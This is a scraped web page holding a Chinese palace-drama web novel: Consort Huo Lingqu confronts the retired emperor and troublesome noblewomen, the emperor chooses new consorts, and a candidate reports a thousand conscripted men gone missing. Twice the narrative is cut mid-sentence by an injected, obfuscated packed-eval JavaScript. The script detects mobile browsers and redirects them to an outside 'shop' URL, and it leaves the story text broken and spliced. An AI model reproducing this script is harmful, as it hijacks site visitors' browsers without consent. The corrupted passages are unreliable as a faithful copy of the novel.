“不坚强。”霍灵渠提醒:“圣人,六哥哥他失忆了,他会失忆何尝不是脆弱的表现,这抗打击能力怎么能叫坚强?还有悼太子,若是够坚强又怎会大好年华自刎? 还有嬴忱璧,封闭自己二十多年,连打开自己的心扉都不敢。魏王是没得选只能硬撑,晋王是还有个老娘给他撑着。湘王更不消说了,您看他能受得住打击吗?” 霍灵渠总结:“我就看他们兄弟加起来都没我坚强。” 在偷听的俩兄弟&兄弟们的老爹:“……”你少说最后一句不行啊。 晏霁之抿唇笑,眉目煞是温柔。 太上皇没再质疑:“灵渠想说寡人对孩儿们不上心?” “是前朝占用您太多心神,您对儿女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459326|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们花费的心思少了些吧。”霍灵渠点到为止:“霁之曾言,二十年前可能是大家最欢乐的年华,是圣人您赐予的。您看,纵使纤若都活得张扬,皇祖父人好,想护儿女们都安好,您随皇祖父。” “贵妃回吧,忠毅伯府夺爵的旨意会降到芮家。”太上皇的声音如古井无波。 “儿臣谢圣人隆恩,儿臣告退。” 霍灵渠走下台阶,走出太微宫正殿前的宫门,被突然闪现的男人小小惊喜了下,她霎时眉开眼笑犹若春风拂绿一夜间万千桃花开:“你在太微宫啊。” “嗯,”晏霁之眼底的柔情似也能漾出花儿来:“昨天,没吓到吧?” “没有,我连人影都还没看见,陛下和我大哥就将人捉住了。”霍灵渠柔和道:“如今,庄太妃的一举一动都直曝在大家的眼皮底下,还能出什么事?” “还是谨慎些好,虽然庄太妃最近做的事让人没眼看,但大意了容易在阴沟里翻船。”晏霁之嘱咐,霍灵渠应过,他再问:“这人是鞠家的细作还是庄太妃的死忠?” “是庄太妃的死忠。”长春宫的一名洒扫宫女,埋得是真够深。霍灵渠道:“我大哥猜,庄太妃这样的死忠,整个皇宫也数不出一只手来,她是真够舍得了。 她原想让鞠家派人做,她收到皇后和忠毅伯合作的消息,认为是个好机会,有挡箭牌、霍家查不出来,但鞠家不愿意,她又不肯罢手,所以启用自己的死忠了。” “这人还活着吧?”晏霁之顺口就问问。 “活着,她想自尽,陛下要抓出庄氏还埋在皇宫中的爪牙,没让她死。” 晏霁之若有所思般轻轻点头:“圣人和陛下对此事什么态度?” 霍灵渠没懂,晏霁之失笑:“人家都下杀手了,霍家不回击吗?” “没提过这茬,我也没想过呢。”霍灵渠想一圈发现他们都下意识等着算总账了。 “你妹妹打架还行吧?”晏霁之问,霍灵渠看向他冒出个神奇的念头:“你想?” “霍家请个恩典,让霍雄鹰带霍桑柔往小觉庵走一趟呗。”晏霁之眼底泛起点点兴味:“以庄太妃的自大,让霍桑柔去把她打个鼻青脸肿不是对她最大的羞辱吗?” “……好。”霍灵渠哭笑不得,就觉得他蔫坏蔫坏的,都想拍他下了。 晏霁之看她想撒娇,结果女人还没撒娇,他就心痒了,忍住,疑惑道:“灵渠,刚刚你和太上皇谈话时我怎么觉得你像是有意点出皇帝他们兄弟很像太上皇?” “你这都察觉到了呀?”霍灵渠讶然惊喜几乎想扑他怀里:“我回霍家省亲时我祖父交代我,若有机会,引着太上皇瞧瞧皇帝他们兄弟不论相貌还是性情都很像他,你也知道呀,庄太妃幼女的身世存疑,我祖父担心,太上皇获悉后要疑心病大发了。” “老人家滴水不漏啊。”晏霁之感叹:“你祖父当真有心了。” “嗯!”霍灵渠小脸喜盈盈的,瞥见皇帝的身影,小脸垮下来,倒不是她这两天和皇帝有冲突而是这是她不经思索的反应:“皇帝来了,你应付他吧,我走了。” 晏霁之温柔应好,目送她走过一段路,他再转身,果然皇帝已经站在他面前。 嬴忱璧恭维:“晏卿动如脱兔啊,朕一转眼,你就不见人影了。” “陛下还是慢行,贵妃回皇城应该会和忠毅伯对上,您在场就不好处理了。” “朕怎么就那么想给你指婚呢?”嬴忱璧被气笑了:“宜春县主都住在你家了,萧家想结亲的意愿很明了了,朕给你们指个婚也算成全了一段佳话,你说是吧?” “是笑话。”晏霁之纠正:“您若一意孤行要指婚,臣只能逃婚了。” 嬴忱璧没好气地瞪他眼,带他离开太微宫。 贵妃仪仗返回皇城,在距离皇城一里外得到消息:芮尚书在承天门前寻死腻活。 霍灵渠遂下令:去承天门。 他们来到皇宫的正大门承天门前,霍雄鹰大步向前像拎小鸡崽似的拎起芮老头上城楼,戍卫皇城的禁卫军们微微受刺激后保持目不斜视,步昂大统领默默候着霍贵妃。 霍灵渠款款而来慢慢拾级而上,步昂便龟速尾随霍贵妃。 霍雄鹰把人扣城墙上,芮老头聒噪,他利落地给这老头俩耳光。芮尚书和目睹的禁军们都有点难以置信后,芮尚书到底是不呱噪了。霍灵渠走近来威胁:“想死多容易,你想死,我们就推你下去成全你,你自己要死,我们姐弟可是在做好事。” “老夫我——”芮尚书刚想明志,半截身体都被霍雄鹰推到城墙外去了,他赌不赌得起都不能赌啊,霍家可是把朱家女都砍了!芮老头瑟瑟发抖,最后点倔强支撑着他不能服软,忽然尿骚味传来,霍雄鹰翻白眼,芮尚书真想钻进地缝里去算了。 “老太爷病了,本宫会派人去礼部给你告一个月病假,走吧。”霍灵渠定道。 霍雄鹰放开这老头,芮尚书埋头狂奔。 看芮老头跑远,霍雄鹰有点奇怪:“芮老头怎么会这么轻易罢休?” “或许是不在意。”霍灵渠忖度:“以芮家的想法,太上皇百年之后,芮家向皇帝要什么会拿不到,何必计较个小小的伯爵爵位,何况还能令皇帝心生愧疚。” 步昂大统领眼神微闪,霍雄鹰真嫌受不了,他们正要下城楼,一名小太监跑来禀告:杭婕妤的母亲在昭德门前闹着要进宫,建威侯夫人在钟萃宫前哭闹不休。 霍雄鹰:怎么就有那么多非得想让他翻白眼的人呢。 步昂再陪着来到昭德门前,霍灵渠率众走近这位杭太太,阴影袭来,跟这些守卫宫门的侍卫磨得耐心耗尽快要撒泼的杭太太下意识转头,看见这阵仗又下意识一愣。 “昭德门不是你喧哗的地方,本宫也不想跟你计较,念在你是初犯和大公主的份儿上,小惩大诫,送入京兆大狱关两天吧,但愿杭太太你能汲取教训。” 霍灵渠话落,两名侍卫就把这位还没反应过来的杭太太拖走了,不少随行的宫人嗤笑,当这什么地方啊能由她撒泼吗,念到此,有人想起来,钟萃宫前还有一位呢。 皇太后限定建威侯府中人每月进宫六回,这个月的六回,建威侯夫人早就用完了,可出这么大事,建威侯夫人必须进宫,今天是她拿下月的额度换来的。 宫人们也不奇怪建威侯夫人会来闹,令宫闱众人称奇的是令愔夫人的决绝。 钟萃宫大门紧闭,任是建威侯夫人在外闹着要撞墙,令愔夫人都闭门不出。 霍灵渠想,是厌恶透了吧,谁又看不懂,建威侯夫人只是想拿捏皇帝的宠妃。 建威侯夫人带着两个年幼的孙女跪在钟萃宫前,围观看热闹的宫人甚多,霍贵妃前来,宫人们缩起来让出路再行礼,在泣血诉泪的建威侯夫人背脊一僵。 “你还在椒房殿耍过威风,不让郭皇后迁宫,被禁军打晕才消停了,是吧?你醒来后,带着孙女来钟萃宫前闹,撒泼打滚寻死腻活怎么难看怎么来,是吧?” 建威侯夫人握拳定定心神想应对,然霍灵渠怎会让她再作妖:“传令,建威侯夫人咆哮宫闱恣睢无状,着褫夺诰命,押入刑部大牢关到月底,以儆效尤。” 两名禁军出列把不可思议到愣住的郭太太拖走,宫人们低着头保持肃静。 还有宫人不客气的想:总算清净了。 长春宫的宫人更是,真觉郭家不正常,用老太爷的话说,不是有个活例子在你们眼前,怎么总要觉得自己与众不同呢,皇后这位母亲尤其有病,自己的女儿都要请辞后位了,这可是你女儿的例啊,轮到她自己被褫夺诰命居然也还能像活见鬼一样。 皇帝回来得正是时候,阖宫祥静,唯独杭婕妤闹出了点水花。 霍贵妃在伊人殿的大放厥词,杭婕妤嗤之以鼻,可没想到,降位的旨意真的来了,甚至传旨太监当场带走婵娟馆二十九名宫人,按七品份例她只能配六名宫人。她懵得回不过神,及至午膳,膳房给她送两荤两素四个菜肴,仍是七品的份例。 杭婕妤知道她不能再坐以待毙了。 銮驾落定,嬴忱璧走下轿辇,跪在皇极宫前的杭婕妤转身,未语泪先流,眼泪像掉线的珍珠滴落。她往前扑去想抓陛下的衣袍角,嬴忱璧退步,她愣了下。 “你兄长被罢官后,你母亲要进宫来找你,昭德门的侍卫告诉你母亲,今后若无恩旨,她不能再入皇宫,你母亲充耳不闻,在昭德门吵闹许久,直到贵妃回宫将她送走。朕在想,你母亲一个寻常百姓怎敢在皇城门前撒野,你能告诉朕吗?” 杭婕妤心头莫名瑟缩下,更惊诧于她兄长被罢官了?这怎么可能? 正徽帝嬴忱璧也没想她回答,轻飘飘落字:“因为没有敬畏吧。” 杭婕妤被吓跳思绪回拢,柔弱仰望皇帝,犹若千百回的练习下刻进习惯的印迹。 “你这是何意,在你眼中朕就这么好糊弄?”嬴忱璧被气笑了,不想发火都没按捺住:“滚回你的婵娟馆去,再在后宫兴风作浪,朕就给大公主换个母妃。” “陛下?”杭婕妤惊惶失色,对上皇帝的怒意,她心颤颤只得告退。 宫人们尽低头,机敏的宫人几乎敢断定,杭婕妤的路到头了。 嬴忱璧在皇极宫小憩过,摆驾长春宫。 “朕要在地方上做些调整,贵妃应该已经知道了,而这势必会减掉两位巡抚,人选,朕已经拟定,一位是前年上任的荆湖巡抚,令愔夫人的父亲。故此,霍家什么都不做都没人会相信霍家的清白。”所以,嬴忱璧厚颜无耻了:“让穆国公担了吧。” 霍灵渠伸出纤纤玉手:“一百两。” 皇帝奇怪:“贵妃说什么,什么一百两?” “我们家都给你背多少黑锅了,你不该在俸禄之外给我们点补偿吗?一百两。”霍灵渠娇憨俏皮的鲜活动人极了,皇帝看来这哪儿是要补偿,是情趣:“好好好,朕给,给给给,只是一百两会否少了些?”嬴忱璧故意打趣:“补二百两吧?” “一百两够了。”霍灵渠认真道:“十两给我,九十两送到霍家,你记得告诉我大伯,这补偿是我要来的,所以我要拿十两银子。” “好!”嬴忱璧开怀大笑:“朕一定不忘贵妃的嘱托。” 皇帝真高兴呢,以往暗沉的犄角,此时看来都变得明媚多姿了。 135. 第135章 暖风斜倚,荡起蓬莱池畔点点涟漪,正徽帝走过池畔涟漪来到伊人殿。 霍贵妃和令愔夫人随同而来,此行是为上午选出的四十二名秀女。 众人恭迎过圣驾,正徽帝嬴忱璧落座,霍贵妃陪皇帝上座,令愔夫人独坐在旁侧。 蒋厚运将秀女的名录呈给陛下,霍灵渠秉持着妖妃的做派在皇帝伸手前抢过,然后睨眼这位御前总管,蒋厚运几不可察地缩缩微胖的身形,嬴忱璧在心里忍俊不禁。 “十排,前两排站五列,后八排站四列,这是对应的秀女家世,陛下瞧瞧。”霍灵渠粗看看就把名录给皇帝,嬴忱璧嗯声,接过翻看页,让大总管开始吧。 站在第一排的五名秀女往前出列再给陛下请个安,皇帝嬴忱璧扫过名录,问这一排站在首位的秀女:“是丞相家的姑娘?”得到肯定答案,正徽帝笑道:“丞相家的姑娘入宫来给朕做个七品娘子委屈了,赏赐柄玉如意,朕祝班姑娘早日觅得良缘。” 许多秀女惊了,她们真以为陛下就是来走个过场啊,哪想第一个秀女就被刷下了,还是丞相家的姑娘?班落矜落落大方地谢恩,告退时,霍贵妃通情达理地拦住了:“陛下,都到最后了,秀女们想必都想看个结果,让她们看个全场吧。” 皇帝应允,班落矜便再施礼谢恩。 这一排站在第二位的是户部周尚书家的姑娘,嬴忱璧端详片刻,点点头。 大总管高声传达:“赐福袋,留。” 周姑娘暗暗松口气,选不选得中,她都想松口气,等待的滋味怪忐忑的。 而后,这一排的余下三位,皇帝全给否了,虽然有班落矜被刷下的前例在,观看的秀女们没有再多少惊讶,但对于被刷下来的晏四姑娘和薛家姑娘真有一瞬间的不敢相信,她们都没想过会落选,晏四姑娘看眼霍贵妃再低头,好在,都没失态。 班落矜看晏四真够糊涂了,就她和霍贵妃的关系,陛下都不可能选她呀。 第二排的五名秀女,皇帝选中三位,在浑水摸鱼的尚家姑娘很荣幸的又中选了。 尚姑娘震惊了,她到底是怎么中选的呀,她娘都跟她说了,她就是进宫走个过场,而且是因为有秀女名额落到尚家才轮到她进宫走个过场,她的资质连初选都过不了的,为什么,为什么她居然中选了?到底是陛下和娘娘们的眼神不好还是她娘的眼神不好? 其实,尚姑娘多观察下就能懂了,她是武将家的姑娘呀。 眼神好的秀女,或多或少都有点数了,京畿十名秀女,中选的四位,一个出自文臣家,一个出自武将家,一个出自商贾家,一个还是来自寻常百姓家呢。 第三排和第四排是山东的秀女,第三排的秀女出列,皇帝视察般来回看两遍,选中站在末两位的姑娘,还当场交代霍贵妃:“都给七品的位份吧。” 霍灵渠应是。 班落矜看着感慨,她还知道这两位的家族在山东虽不是琅琊王氏、兰陵萧氏那般的煊赫但也都是底蕴不错的名门,比起煊赫之家,她们这般中等家世进宫更好处理。班落矜想想,陛下把前两个略过,陛下选人是真会选了。 第四排,四名秀女,皇帝全给否了,一个没留。 班落矜偷笑,第四排站第一位的秀女就是玉藏珠的妹妹呢,至于班落矜会知道玉藏珠,当然是玉藏珠有名嘛,哦对了,山东中选的这两位的家世跟玉藏珠家就差不多。 第五排和第六排俱是江南的秀女,第五排站首位的是江南巡抚的女儿,皇帝注视许久,似有权衡,最终还是没留,选了位县令家的姑娘和一位船商家的姑娘。 蜀地的秀女,皇帝亦只挑两名,一位武官家的女儿和一位绣户家的女儿。 到末两排的荆湖秀女,皇帝扫过眼名录,问令愔夫人:“爱妃的妹妹也在呀?” 令愔夫人含笑应是,皇帝又问:“在家中排第几?” “陛下,妹妹是父亲的第四个女儿。” 皇帝点点头:“厚运,赏四姑娘一对宝石手镯,给四姑娘将来出阁添妆。” 御前总管蒋厚运恭谨应诺,令愔夫人和她的庶妹以及她身边的胡姑姑都怔了怔,全没想到陛下会把人刷下。班落矜低低头抿唇笑,薛姑娘就幸灾乐祸多了,哼,她们这批秀女谁最志得意满呀,不就是芮家的和令愔夫人这个妹妹么,得报应了吧。 第一个中选的周姑娘心中微叹,班落矜都被刷下了,令愔夫人真不该意外的。 皇帝很快把人挑好,仍然是武官家的女儿和寻常百姓家的女儿,两位。 令愔夫人掩饰性地抿口茶,这结果,她忽然说不上来是失落还是松口气。她庶妹心酸,她和她姨娘磨父亲好久才磨得父亲同意送她入宫的,怎会在最后面见陛下时被刷下来了呢?陛下连平头百姓都选了,有她嫡姐在,怎会不愿意选她呢? 楚姑娘看向她这位嫡姐,是皇帝宠妃的嫡姐,把悲痛苦涩咽下。 对此,莫说蒋厚运和陶姑姑,精明一些的宫人都察觉到了,要不怎么说在皇宫中要稳,宫里会察言观色的人精太多了。蒋厚运瞧着这姑娘怕是要对令愔夫人有怨了。 “就这样吧。”皇帝嬴忱璧端起茶盏抿口茶,吩咐。 这样的意思是就选十二位,殿选出来的四十二名秀女还再刷掉三十名?蒋厚运恭敬应,嬴忱璧又交代:“传喻礼部,今后,采选由三年一选改成四年一选。” 霍灵渠捧起瓷盅喝燕窝汤,中选的十二名秀女,两位出自商贾之家,三位来自百姓家,三位出自武将之家,四位出自文臣之家,皇帝安排得真是妥妥的。 班落矜一样的想感慨,殿选出的秀女中有半数多都是文官家的,陛下不选,有什么用,刷掉的三十个秀女都有二十个是文官家的姑娘,这比例,真打令愔夫人的脸。 皇帝再看向贵妃,面色温和:“贵妃可还要对秀女们训示?” 霍灵渠善解人意道:“陛下,秀女们入宫后不知何时能再见到父母亲眷,让她们在家中多留两日,定在立秋过后、七月初十入宫吧;还有落选的秀女们,来皇宫这一趟辛苦了,就每一位送柄团扇、封五十两白银聊表天家心意,可好?” 嬴忱璧眼底似有柔情脉脉:“好!” 这若是装的,皇帝陛下是真能装了,有心思灵秀的目睹者想,霍灵渠都这么想,再道:“陛下,新入宫的秀女们年轻,对宫廷又是陌生,她们入宫侍奉陛下后暂先赐避子汤吧,赐到明年年底,正徽七年再让她们准备为陛下诞育皇嗣,您意如何?” 嬴忱璧依然应好,由此,霍灵渠转向秀女们,拿着妖妃的款儿训诫:“本宫与你们言明在前,陛下有的是嫔妃能诞育皇嗣,本宫和陛下要的皇嗣才能留。 否则一碗打胎药灌下去,无伤大雅,都警醒些,别做蠢事,更不要以为偷偷避着避子汤怀上皇嗣就能一步登天,在本宫有生之年皇宫里都不会出这种事。 在本宫面前,你们懂规矩比你们有皇嗣更能保你们安稳,话,我给你们讲明白了,你们入宫后若有谁想来试试本宫的规矩,尽管来试。” 一派浑似霍贵妃已经问鼎中宫的架势。 可这样的场合,陛下都没带郭皇后过来呀,不知道的,谁不会以为当前没有皇后娘娘。但不管霍贵妃将来会怎样,至少目前,她确实能够称霸宫闱。 众秀女皆乖顺屈膝:“谨遵贵妃娘娘教诲。” “如今宫中的嫔妃虽然不多,大家都是独居一座殿阁,但新入宫的秀女们对宫廷陌生,就定两个人一起住,也好有个照应。”霍灵渠转向令愔夫人叮嘱:“夫人辛苦些,七月前安排妥当呈报给我。再有,十二名秀女就定四个宝林八个采女吧。” 令愔夫人颔首:“是,贵妃。” 班落矜算算,定四个宝林,陛下还亲自指定给山东的两名秀女七品位份,那这品阶还有什么疑虑,七品位份还剩的两个名额肯定是给周姑娘和尚好这傻妞了。 “另外,秀女们初初入宫,先适应几天宫廷生活,中秋前,新入宫的嫔御都不必侍寝。就这样吧。”霍灵渠结语:“采选的收尾事宜,夫人看着料理吧。” 令愔夫人再应承。 皇帝嬴忱璧站起来准备走了,霍灵渠随同站起,还没迈两步,一名秀女倏然夺步而出、跪在殿中高喊:“陛下,民女要告御状。”令皇帝戛然止步。 伊人殿霎时静得落针可闻,许多还没被宫廷礼仪束缚的秀女们面面相觑。 嬴忱璧都没有再落座,锐利审视此人:“你是冒名顶替的?” 霍灵渠认出这姑娘是第十排的秀女,拿名录翻出她的名字,包蜜果。 班落矜、周姑娘、皇帝亲自指定位份的两位秀女等人都隐晦观察令愔夫人。 就看令愔夫人压根儿没反应过来这情况对她父亲的影响。 蒋厚运都忍不住在心里微叹,陛下不会在意有人冒用秀女身份来御前告御状,但对当地官员的感观绝不会好,少不了要质疑地方官的能力;甚至于,小小的采选啊,送四十名秀女入京参选都能生出错乱来,这些地方官是怎么做事的? “不是,民女的身份是真,只是民女要告御状。”包姑娘的勇敢中夹着紧张下的颤栗:“民女入选秀女,进京前就想好了,若初选时被刷下,我便初选后告御状;若复选被刷下,我就复选后告御状;民女有幸入得殿选见到陛下,故此时告御状。” 嬴忱璧沉吟会儿,重新落座传令:“状纸呈上来。” 御前总管蒋厚运拿到状纸,守在殿外的内侍就跑到他前面去了,内侍小跑进殿来禀告:“陛下,大公主和二公主在殿外哭闹着要来找陛下,奴婢们——” 内侍话未尽,带着哭腔的童音和还带着奶腔的哭音飘来,声声喊着父皇,众人循声望,看见两个小女娃跑进来,身后跟着没阻住的宫人跪下请罪。 “父皇,父皇,你不要让人欺负我母妃……”大公主五岁多了说话流畅,二公主个三岁多的小豆丁浑浑噩噩只顾哭得上气不接下气喊父皇,姐妹两个一人一边抱着爹爹的小腿哭,一时间伊人殿内哭音绕梁,仿佛要给将入宫的秀女们直面示警。 霍灵渠低眸退两步,众人尽低头,更不知有几人在心里笑话杭婕妤简直愚不可及,这是想求陛下怜惜还是活腻了想死?何况今天才刚作过妖啊,还不消停! 至于二公主同来,以郭皇后的糊涂劲儿又被杭婕妤拿来当枪使,正常。 周姑娘直觉觉得假若是郭皇后亲自来求,未必会惹陛下生气。 但,郭皇后不亲自出面反而躲在暗中耍手段,怕是阖宫都要再看低她了。 嬴忱璧眼底寒芒生:“皇后、杭婕妤真会拿女儿做枪了!” 蒋厚运跪下来,宫人们都跪下了,秀女们不知道谁带头的也都跪下来。 霍灵渠仍然站定,令愔夫人看过殿内众人又看向贵妃,有种莫名滋味,一同站着。 班落矜瞥见就有种感觉,霍贵妃若也跪下才是她自己让自己落在了下乘,不跪是对的,但令愔夫人若不一同跪下就有些不知高低了。不只班落矜,也不必蒋厚运这般人精,好几位秀女都懂当中名堂,霍贵妃拿自己当正室,陛下都纵容着呀。 霍贵妃当然能不跪,可令愔夫人呢,还是个普通嫔妃,你能对标霍贵妃吗? 何况霍贵妃和长春宫的宫人都看着呢,这么冒尖,令愔夫人还想能笑几天? 嬴忱璧看向哭得像小花猫似的两个女儿,按着闺女们后颈的穴位让女儿们睡过去,皇帝转向还站着的令愔夫人,明显有压抑的怒火四溢:“夫人,让陶姑姑和胡姑姑来抱起公主,你亲自走趟,将两位公主送去给喻美人和倪秀仪。 自即日起到五月末,公主们就给喻美人和倪秀仪养,六月再还给皇后和杭婕妤。倘若郭皇后和杭婕妤再养不好公主,今后两位公主就是喻美人和倪秀仪的女儿。” 令愔夫人一惊,好多人神情一凛,二公主可是嫡出,哪有将嫡公主过给嫔妃的? 皇帝紧接着交代御前总管:“今后,杭婕妤的份例按末品更衣拨给她。两位公主身边的宫人全放出宫,新拨给公主的宫人,你叮嘱好他们,若他们还像他们前一批宫人那般连才几岁的公主都照顾不好,后半生都不必再出宫了。” 蒋厚运平静应声,令愔夫人身边的大宫女忙扯扯娘娘的裙摆,俩公主的奶娘被吓到了,皇后和杭婕妤保证绝不会有事的呀,怎么会害她们要被逐出宫?没守住殿门被俩公主闯入的小太监们瑟缩下,几人猜不到他们没收好处,陛下没点破而已。 犹豫着想劝陛下三思的令愔夫人不再犹豫,领过旨意,带两位公主离开。两个奶娘带人跟着退下,去找皇后和杭婕妤想办法,怎么也不能被逐出宫呀。 做公主的奶娘多享福,当然是让她们回家自谋生计没得比的。 大总管指俩小太监去找大统领安排队禁军放这批宫人出宫。 皇帝,嬴忱璧再让众人起来,接过状纸看。 这是状告武陵柴府尹——昌隆侯的表兄,不,是状告整个柴家的诉状。 嬴忱璧阅下来,多半罪行他都知道,但皇帝他仍然逐字细看,看清楚这些蠹虫的祸害!全篇阅览过,嬴忱璧想将诉状收起时微微怔下,察觉到像有什么不对劲,又垂眸看去,视线盯着诉状末的‘上千壮丁被暗中掳掠走’好半响。 “上千名青壮男丁莫名其妙失踪了?” “是,他们说是服劳役,可他们已经带走好多人了,这一两年来好多青壮走失,民女有两个好友的父兄都是突然消失不见了。民女的大哥和友人去年查大半年,发现这劳役根本是假的。”包蜜果悲怆愤恨:“这些人都不知被柴家抓到哪儿去了!” 皇帝脸色沉下来,楚姑娘惊觉这包蜜果告御状会有损陛下对她父亲的好感,捏拳恨,这群小老百姓就是吃饱撑得,什么芝麻绿豆大的事居然还要来告御状?! 小太监来报:吏部晏侍郎求见陛下,嬴忱璧吩咐:宣。 还真有秀女暗暗看向霍贵妃,霍灵渠捧着瓷盅饮燕窝汤,犹若未闻。 晏霁之进殿,行至殿中向皇帝行礼,淡定忽略霍贵妃。 嬴忱璧就问了:“什么事这么急啊还得霁之你在朕选秀时找过来?” 晏霁之表示:“臣想高调一点。” 嬴忱璧不同意:“朕以为霁之还是低调一点好。” 晏霁之有理反对:“陛下,原牧炽都说了,我比霍贵妃漂亮。” 嬴忱璧语调懒懒的:“所以呢?” 晏霁之一本正经:“我的美貌不允许我低调。” 皇帝&观众们:“……” 霍灵渠默默转过脸,好多人活像接到道雷劈,做妹妹的晏四姑娘脸涨红了连耳根都红,御前总管蒋厚运心说英王世子好歹说才华呢怎么就能说出美貌二字? 皇帝嬴忱璧都想给他一掌,没好气道:“什么事?” 晏霁之献上墨宝,嬴忱璧展开,四个笔走龙蛇的大字跃然纸上:塞北江南。 “塞北江南?”这是个什么事?嬴忱璧念遍,略一思量,猛地眼前一亮:“霁之想迁徙民众入灵州等地,引黄河水灌溉,在灵州等地打造出个塞北江南来?” 许多秀女不太懂地抬头,霍灵渠讶然回眸,塞北江南?在塞北兴修水利大兴灌溉,打造出个犹如江南一般的塞北?晏霁之颔首:“是,臣蒙陛下厚爱忝居吏部侍郎位,深有惭愧,苦想数日,略有所得,唯愿能报圣人与陛下看重千万之一二。” 霍灵渠弯弯眼犹若心底开出朵花来,纯粹因塞北江南高兴,这是多好的事呀。 “好!”嬴忱璧大喜过望,晏霁之新官上任这第二把火烧得实在好! 晏霁之行大礼谢恩,霍灵渠站起来行大礼恭喜陛下,蒋厚运忙率众给陛下贺喜,转瞬间大殿里喜气洋洋,蒋厚运心说这才是正确的英王世子,有见识的秀女和宫人都意识到这将会是载入史册的大事迹。 班落矜感慨,英王世子要比她祖父家喻户晓了。 嬴忱璧又让人把诉状拿给晏侍郎,晏霁之看过,皇帝问:“你意如何?” “荆湖巡抚责无旁贷,暂且停职吧。”晏霁之毫不含糊,大殿里掀起波小哗然,蒋厚运在心里啧啧,班落矜和江南巡抚的闺女都惊奇看向他,楚姑娘简直不可思议,薛姑娘乐了,京里都把英王世子捧成什么世间少有的佳公子了,还不是浪得虚名。 晏四姑娘紧张,一些不相关的秀女和宫人都莫名紧张,荆湖巡抚可是令愔夫人的父亲,令愔夫人可是最得宠的妃子还育有两位皇子啊! 所以楚姑娘才觉得不可思议啊,这个晏侍郎是个二愣子还是个傻的? 包蜜果心砰砰跳,他们状告的是柴家,怎么扯到巡抚啦? 霍灵渠忽然想看看这诉状,看不到,剥只夏橙吃。 “晏卿可真大胆啊。”嬴忱璧饶有兴味调侃:“你就不怕?” “请表哥你给我道歉。”晏霁之冷下脸,裹挟着沉石的重:“你侮辱我了。” “朕怎么侮辱你了?”嬴忱璧看他不像闹着玩,这混球真不是故意找茬吗? “怕?”晏霁之满目荒唐的愤怒:“我是你前朝的大臣,嬴忱璧!” 皇帝嬴忱璧头疼地安抚:“好了好了,朕收回那四个字就是了。” 这混球讲究得简直了,皇帝觉得他都能理解流光姨娘对这混球的忍无可忍了。 霍灵渠很怀疑皇帝理解错方向了,晏霁之会觉得受侮辱是皇帝很清楚晏霁之不可能会把令愔夫人和两个小皇子看在眼里还用个怕字来调侃他,晏霁之是愤怒于皇帝对他没有尊重。然则,若是令愔夫人能让晏霁之看在眼里,他不会在意这调侃。 大多数秀女和宫人可神奇了,薛家姑娘和楚姑娘再再不可思议。 柳丝缘,江南巡抚的闺女瞥过楚姑娘——荆湖巡抚的女儿,眼底聚起丝笑意。 这大概就是双方都没把对方当回事儿。 楚家的牌多好,谁不看楚家要蒸蒸日上欣欣向荣了,可惜啊毕竟还没到楚家得意时呢。进京前她爹交代她进京该注意的,专门提到过令愔夫人不会有前程了,她还不信呢,这会儿她信了,最该小心翼翼时楚家却狂起来了还能有什么前程。 晏霁之低低头谢恩,嬴忱璧允道:“传令中书,荆湖巡抚暂且停职。” 霍灵渠瞧着,皇帝很像故意不知会太上皇就处置啊。 多数人再在心里掀起波哗然,蒋厚运应是,楚姑娘懵了,薛家姑娘都懵了,怎么会啊,令愔夫人多年盛宠不衰还有两个皇子啊,怎会她对上英王世子都反而她才像不值一提,晏家真有这么厉害吗,所以薛家才~有两个公主媳妇都压不过晏家吗? “不是有个活例子在薛姑娘眼前吗?” 霍贵妃举重若轻的话语飘旋而来,众人惊望,薛家姑娘被吓跳忍着发颤抬头,霍灵渠唇畔带笑美目盈盈端得是国色天香,敲击在他们头顶的威压却有让人不寒而栗之感。 “你似乎很想不通啊,显国公不会教女儿竟让你看不见肃宗皇帝在时晏家是什么人家,两个多月前太上皇刚追尊温献皇后。本宫给你恩典,请太后恩旨,破例让你进宫,封淑妃,二皇子和三皇子就给你养、记在你名下也可,让你亲自看看,可好?” 薛家姑娘膝盖哆嗦着跪下来,然,这对楚姑娘完全是天方夜谭的荒谬。 皇帝嬴忱璧在心里冷哼,贵妃可真有脸啊,当着他的面堂而皇之维护晏霁之。 “连根葱都还不是就拿自己当颗蒜了会贻笑大方。”霍灵渠含沙射影,明白指向钟萃宫而非要跟这薛姑娘计较:“姑娘家,眼皮子不要这么浅,可记住了?” “臣女记住了,臣女谢贵妃娘娘教诲。”薛家姑娘慌乱点头,班落矜、柳丝缘、周姑娘还有尚家姑娘这几个姑娘不厚道的想笑,霍贵妃这比喻也埋汰人了。 嬴忱璧站起来,皇帝挺拔的身形在这刻格外伟岸,霍灵渠随同站起。 “包姑娘,待会儿你随晏姑娘走,结案前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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嬴忱璧真想瞪瞪他,言归正传道:“在看见那份诉状前,朕想过,给令愔夫人这父亲的仕途终点是礼部侍郎。看见那诉状后,朕不想给了,你怎么想?” 人家宠妃的父亲的仕途终点,哪怕皇帝真不在意他议论,晏霁之当然都不想踩这个坑:“臣只觉得令愔夫人应该又没看懂贵妃的善意。” “贵妃的善意?”嬴忱璧讶然,晏霁之笑:“是啊,陛下,贵妃明白告诉令愔夫人了,霍家没把她当回事,莫胡思乱想怀疑这御状是霍家针对她,甚至是在点拨令愔夫人在陛下面前的进退。臣相信贵妃会出头更是出于对令愔夫人和两位小皇子的善意。” “贵妃心善。”令愔夫人能领悟到吗?嬴忱璧笑笑,他都忽略了没注意呢。 嬴忱璧沿湖畔走过十几步,在湖畔石落座,再问:“这御状,你怎么看?” “上千名青壮失踪,老百姓查都能查到有上千人失踪了,应该绝不止失踪了数千人。”晏霁之都有点生气了:“这么大的事,荆湖巡抚是不知道还是不知道上报? 